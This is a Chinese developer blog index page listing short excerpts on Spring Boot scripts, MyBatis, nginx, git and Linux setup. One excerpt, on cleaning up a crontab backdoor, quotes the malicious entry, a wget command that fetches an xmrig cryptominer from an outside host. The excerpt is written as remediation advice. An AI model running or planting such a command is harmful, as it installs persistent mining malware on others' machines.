自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

黄都伟

你只管努力,剩下的交给时光...

  • 博客(46)
  • 收藏
  • 关注

原创 springboot jar包启动脚本

1.新建start.sh文件2.编辑内容为 #!/bin/sh#这里可替换为你自己的执行程序,其他代码无需更改APP_NAME=protocol.jar#使用说明,用来提示输入参数usage() { echo "Usage: sh demo.sh [start|stop|restart|status]" exit 1}#检查程序是否在运行is_exist() { pid=`ps -ef | grep $APP_NAME | g...

2021-07-27 10:06:28 480

原创 利用fastjson打印对象日志

log.info("unclosedOrders:" + com.alibaba.fastjson.JSONObject.toJSONString(unclosedOrders));

2021-07-27 08:38:56 618

原创 idea使用git管理忽略某些文件

1. 在项目下新建.gitignore文件2.编辑文件内容为*.log*.zipHELP.mdtarget/!.mvn/wrapper/maven-wrapper.jar!**/src/main/**/target/!**/src/test/**/target/### STS ###.apt_generated.classpath.factorypath.project.settings.springBeans.sts4-cache### IntelliJ IDE

2021-07-24 10:06:44 303

原创 持久化后门crontab

服务器遇到了挖矿程序,wget --quiet http://m247.ltd:36663/.xmrig/0 -O-crontab计划任务导致了该告警的产生。crontab是Linux操作系统中常用的计划任务服务,黑客或恶意程序常常会通过添加修改cron任务使恶意程序定时重复启动,保持驻留。1.vim /etc/crontab 找到这条命令删除并保存。2.使用crontab -l 查看,crontab -e进入编辑页面,输入dd,删除, :wq!保存退出...

2021-07-06 14:09:11 807

原创 tcp上报服务器,未收到回复

使用 netstat -n | awk '/^tcp/ {++S[$NF]} END {for(a in S) print a, S[a]}'命令发现CLOSE_WAIT过高再使用 netstat -an 发现8087端口导致排查相关项目,发现占用8087的项目tcp未释放,修改代码解决了相关问题...

2021-03-26 10:58:04 345

原创 nginx配置https并允许跨域请求

server{ listen 443 ssl; server_name YU; root html; index index.html index.htm; ssl_certificate cert/4567229_YU.pem; ssl_certificate_key cert/4567229_YU.key; ssl_session_timeout 5m; ssl_cipher...

2021-03-20 15:23:31 1828

原创 httpClient实现传输文件流服务端接受

package user;import java.io.File;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.InputStream;import javax.servlet.http.HttpServletRequest;import org.apache.commons.httpclient.HttpClient;i.

2021-03-20 15:11:52 2421

转载 Mybati 批量插入报ORA-00933: SQL 命令未正确结束

最近做一个批量导入的需求,将多条记录批量插入数据库中。解决思路:在程序中封装一个List集合对象,然后把该集合中的实体插入到数据库中,因为项目使用了MyBatis,所以打算使用MyBatis的foreach功能进行批量插入。期间遇到了“SQL 命令未正确结束 ”的错误,最终解决,记录下来供以后查阅和学习。        首先,在网上参考了有关Mybatis的foreach insert的资料,...

2018-07-28 17:11:13 9335 4

原创 虚拟机拼不通本机,但是本机可以拼通虚拟机的解决

虚拟机使用了静态ip,本机可以拼通,但是虚拟机拼不通本机。PING 192.168.50.115 (192.168.50.115) 56(84) bytes of data.From 192.168.50.117 icmp_seq=2 Destination Host UnreachableFrom 192.168.50.117 icmp_seq=3 Destination Host

2018-02-02 11:28:31 1423

原创 Shutting down interface eth0: Error: Device 'eth0' (/org/freedesktop/NetworkManager/Devices/0) disc

配置虚拟机静态ip时报错Shutting down interface eth0:  Error: Device 'eth0' (/org/freedesktop/NetworkManager/Devices/0) disconnecting failed: This device is not active解决办法如下:chkconfig NetworkManager off

2018-02-01 18:21:17 940

转载 Mybatis中的#{}和${}区别

1. #将传入的数据都当成一个字符串,会对自动传入的数据加一个双引号。如:order by #user_id#,如果传入的值是111,那么解析成sql时的值为order by "111", 如果传入的值是id,则解析成的sql为order by "id".  2. $将传入的数据直接显示生成在sql中。如:order by $user_id$,如果传入的值是111,那么解析成sql时的值为

2018-01-30 10:45:58 184

转载 Eclipse Java注释模板设置详解

设置注释模板的入口: Window->Preference->Java->Code Style->Code Template 然后展开Comments节点就是所有需设置注释的元素啦。现就每一个元素逐一介绍:文件(Files)注释标签:/**   * @Title: ${file_name} * @Package ${package_name} * @Descriptio

2017-11-22 17:56:30 196

转载 Java泛型中E,T,K,V,N

Java泛型中的标记符含义:  E - Element (在集合中使用,因为集合中存放的是元素) T - Type(Java 类) K - Key(键) V - Value(值) N - Number(数值类型)? -  表示不确定的java类型 S、U、V  - 2nd、3rd、4th typesObje

2017-09-26 17:02:31 317

原创 Linux解决java.security.InvalidKeyException: Illegal key size or default parameters

Linux解决java.security.InvalidKeyException: Illegal key size or default parameters

2017-08-07 17:23:36 3378

原创 Oracle一个中文汉字占用几个字节

Oracle一个中文汉字占用几个字节

2017-07-20 13:49:05 287

转载 tomcat容器log4j日志打印 到前一天解决办法

为了把域名指向默认的应用(MyApp),所以在conf/server.xml文件配置了一个Context,但是MyApp又是放在webapps路径下,导致MyApp实例了两次,所以log4j也实例了两次,使日志文件产生了混乱。我把MyApp移除webapps后日志服务就正常了

2017-07-06 09:55:15 2836

转载 alert点击确定触发方法

alert点击确定触发方法

2017-07-03 14:01:42 43853

原创 pdf.js可以实现在html下直接浏览pdf文档

pdf.js可以实现在html下直接浏览pdf文档

2017-06-06 10:45:00 8424

原创 maven启动web工程

1.在pom.xml中新增了 src/main/java **/*.xml false src/main/resources **/*.properties

2017-05-24 16:12:13 598

原创 ajax return false 无效

问题原因:1. ajax时return false 的function与onsubmit()不是同一个函数;2. 在ajax执行时,async默认的设置值为true,这种情况为异步方式,就是说当ajax发送请求后,在等待server端返回的这个过程中,前台会继续 执行ajax块后面的脚本,直到server端返回正确的结果才会去执行success,也就是说这时候执行的是两个线程,ajax块发

2017-03-31 13:27:29 2315

原创 centos开机启动svn

centos开机自动启动SVN服务的方法1、编辑rc.local文件 vi /etc/rc.d/rc.local2、加入如下启动命令 /usr/bin/svnserve -d -r /home/svn

2017-03-02 17:50:34 375

转载 多线程死锁

package com.cxstock.action;public class test { public static void main(String[] args) { TestDeadLock td1 = new TestDeadLock(); TestDeadLock td2 = new TestDeadLock(); td1.flag = 1; td2.flag

2017-02-27 14:02:27 320

原创 多线程为什么调用start而不是调用run方法

run方法只是其中一个方法, public void run() { if (target != null) { target.run(); } }而start方法为线程安全,且采用JVI技术实现了多线程 public synchronized void start() { /**

2017-02-26 11:50:50 912

原创 myeclipse项目转到eclipse上

2017-02-25 16:58:39 359

转载 springMvc Model

// 查询我的熟车 @RequestMapping("/myKnowCars") public String myAuthenticationVehicles(Model m,HttpSession session, JspPaginator jspPaginator) { UserInfo user = SessionUserHelper.getUserInfo(session);

2017-02-20 18:39:10 324

原创 eclipse提交项目到git

详情见bokehttp://blog.csdn.net/zongzhankui/article/details/48653731

2017-02-17 18:43:29 1793

原创 js浮点数相加、减、乘、除精确计算

"font-size:18px;">//说明:javascript的加法结果会有误差,在两个浮点数相加的时候会比较明显。这个函数返回较为精确的加法结果。  //调用:accAdd(arg1,arg2)  //返回值:arg1加上arg2的精确结果  function accAdd(arg1,arg2){      var r1,r2,m;      try{r1=arg1.to

2017-02-16 10:22:04 1300

原创 project建立子任务

建立子任务采用任务降级,见图红色箭头

2017-02-09 10:04:15 6387

原创 mysql实现类似伪列效果

SELECT  @rownum:=@rownum+1 AS rownum,hyd_day_loandetil.* FROM (SELECT @rownum:=0) r, hyd_day_loandetil;rownum变量名;hyd_day_loandetil 查询的表名

2017-02-04 09:29:23 544

原创 DateUtil工具类获取n天时使用Calendar错误

/**根据输入的日期A和天数B,计算出B天后的日期C*/ public static String getLateDate(String sDate,int iDays) { String sLateDate = ""; Calendar calendar = Calendar.getInstance(); try { String time

2017-02-04 09:16:32 349

原创 MySQL中select * for update锁表的范围

MySQL中select * for update锁表的问题由于InnoDB预设是Row-Level Lock,所以只有「明确」的指定主键,MySQL才会执行Row lock (只锁住被选取的资料例) ,否则MySQL将会执行TableLock (将整个资料表单给锁住)。 举个例子: 假设有个表单products ,里面有id跟name二个栏位,id是主键。例1: (明确指

2017-02-01 09:45:28 660

原创 nginx环境搭建及相关命令

环境搭建博客http://www.cnblogs.com/jtlgb/p/5809808.html进入/usr/local/nginx/sbin目录./nginx 启动 pkill -9 nginx 关闭

2017-01-24 11:39:07 249

原创 linux设置静态ip

1.  vi /etc/sysconfig/network-scripts/ifcfg-eth0 2. DEVICE="eth0"BOOTPROTO="static"HWADDR="00:0C:29:EF:25:5F"IPV6INIT="yes"NM_CONTROLLED="yes"ONBOOT="yes"TYPE="Ethernet"UUID="207

2017-01-24 09:49:24 279

原创 linux权限问题无法使用./startup.sh

今天在Linux上启动Tomcat,结果弹出:-bash: ./startup.sh: Permission denied 的提示。这是因为用户没有权限,而导致无法执行。用命令chmod 修改一下bin目录下的.sh权限就可以了。chmod u+x *.sh这里的u 这里指文件所有者,+x 添加可执行权限,*.sh表示所有的sh文件。

2017-01-23 17:06:44 1889

原创 eclipse导入远程git代码及(push、pull、及maven工程导入)

eclipse导入远程git代码及(push、pull、及maven工程导入)详情见博客http://blog.csdn.net/tantexian/article/details/49468823

2017-01-22 14:28:00 321

原创 maven项目发布到nexus

Release版本的项目应该发布到Releases仓库中,对应的,Snapshot版本应该发布到Snapshots仓库中。Maven根据pom.xml文件中版本号节点的属性是否包含-SNAPSHOT,来判断该项目是否是snapshot版本。如果是snapshot版本,在执行mvn deploy部署命令时,maven会自动将项目发布到Snapshots仓库。要发布项目,首先需要将Releases仓库

2017-01-18 09:28:29 493

原创 redis.sentinel选择指定数据库

现在有1,2,3,3个redis的数据库,如果不配置默认数据插入第一个,现在指定插入第二个,方法如下

2017-01-13 13:30:24 1428

原创 解决maven项目One or more constraints have not been satisfied

hyd maven-compiler-plugin 1.7 1.7 maven-war-plugin 3.0 在pom.xml中加入jdk版本及maven版本update即可

2017-01-12 16:32:41 3528

原创 maven 项目 添加src/main/java出The folder is already a source folde问题

右键build path -> configure build path -> source ,选择 src/main/java、src/test/java删除,然后再新建。

2017-01-12 14:37:09 445

原创 maven构建web项目及无法修改dynamic web module的选项

1.选择Maven Project2.选择项目类型 在Artifact Id中选择maven-archetype-webapp3.默认创建的新工程dynamic web module的选项是2.3,在工作空间.settings文件夹中修改xml中version为3.0

2017-01-11 18:40:21 606

空空如也

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除